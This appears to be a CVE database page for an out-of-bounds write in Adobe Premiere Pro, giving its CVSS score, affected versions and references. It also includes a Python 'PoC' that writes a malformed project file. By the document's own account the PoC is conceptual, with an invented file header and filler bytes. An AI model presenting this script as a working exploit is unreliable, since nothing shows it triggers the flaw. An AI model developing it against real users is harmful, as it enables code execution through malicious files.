CVE-2026-34636

Description

Premiere Pro versions 26.0.2, 25.6.4 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:premiere_pro:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Adobe Premiere Pro <= 26.0.2

Adobe Premiere Pro <= 25.6.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-34636 (Conceptual)
# This script generates a malformed file intended to trigger the OOB write in Adobe Premiere Pro.
import struct

def create_malicious_file(filename):
    # Header for a generic project file (hypothetical structure)
    header = b"PRPROJ\x00"
    # Padding to reach the vulnerable offset in memory
    padding = b"A" * 0x100
    
    # Malicious payload designed to trigger out-of-bounds write
    # In a real exploit, this would contain addresses to redirect execution flow
    payload = b"\x41" * 0x500  # Excessive data causing OOB
    
    with open(filename, "wb") as f:
        f.write(header + padding + payload)

if __name__ == "__main__":
    print("Generating malicious file for CVE-2026-34636...")
    create_malicious_file("exploit_CVE-2026-34636.prproj")
    print("File created successfully. Open this in the vulnerable version of Premiere Pro to trigger the crash.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34636
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34636
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34636/
[4] VulDB https://vuldb.com/cve/CVE-2026-34636
[5] https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html

Raw JSON Data

JSON

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